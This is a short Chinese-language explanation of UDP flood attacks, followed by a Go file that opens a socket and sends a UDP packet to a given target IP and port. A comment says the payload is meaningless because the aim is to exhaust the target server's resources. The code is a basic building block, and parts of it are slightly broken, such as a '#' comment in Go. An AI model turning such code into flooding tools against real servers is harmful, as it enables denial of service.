udp(User Datagram Protocol)是一種非連線型的傳輸協定,意思是說,udp協定只要把封包丟出去就好了,不需要像tcp一樣還要確認連線。攻擊者產生任意PORT的udp封包傳送到伺服器,目標主機收到udp封包後,先判斷有沒有應用程式正在監聽這個PORT,如果沒有就回傳一個ICMP封包回覆此目的地無法到達。意思是說,只要此PORT沒有被應用程式監聽,目標主機收到一個udp封包就會回傳一個ICMP封包。
sysUdp.go
// @Title sysUdp.go
// @Description Build a udp packet with sys/unix
// @Author Sunny Tsai
// @Update 2023-09-25
package packet
import (
"log"
"math/rand"
"net"
"time"
"golang.org/x/sys/unix"
)
// @title Udp
// @description Build a SYN packet with sys/unix
// @auth Sunny Tsai Time(2023/09/25)
// @param targetIP string send to target ip address
// @param targetPort int send to target port
// @return error error
func Udp(targetIP string, targetPort int) error {
random := rand.New(rand.NewSource(time.Now().UnixNano()))
srcIP := "0.0.0.0"
srcPort := random.Intn(65535)
// build socket
fd, err := unix.Socket(unix.AF_INET, unix.SOCK_DGRAM, 0)
if err != nil {
log.Fatal(err)
}
defer unix.Close(fd)
localAddr := &unix.SockaddrInet4{Port: srcPort}
copy(localAddr.Addr[:], net.ParseIP(srcIP).To4())
err = unix.Bind(fd, localAddr)
if err != nil {
log.Fatal(err)
}
// set message
message := []byte("Hello, UDP!") # Payload通常是隨機的或沒有意義的,因為目的不是要傳遞有用的信息,而是要消耗目標服務器的資源。
sendTo(targetIP, targetPort, fd, message)
return nil
}
// @title sendTo
// @description Send udp packet to target
// @auth Sunny Tsai Time(2023/09/24)
// @param targetIP string send to target ip address
// @param targetPort int send to target port
// @param fd int socket fd
// @param message []byte message
func sendTo(targetIP string, targetPort int, fd int, message []byte) {
remoteAddr := &unix.SockaddrInet4{Port: targetPort}
copy(remoteAddr.Addr[:], net.ParseIP(targetIP).To4())
_ = unix.Sendto(fd, message, 0, remoteAddr)
}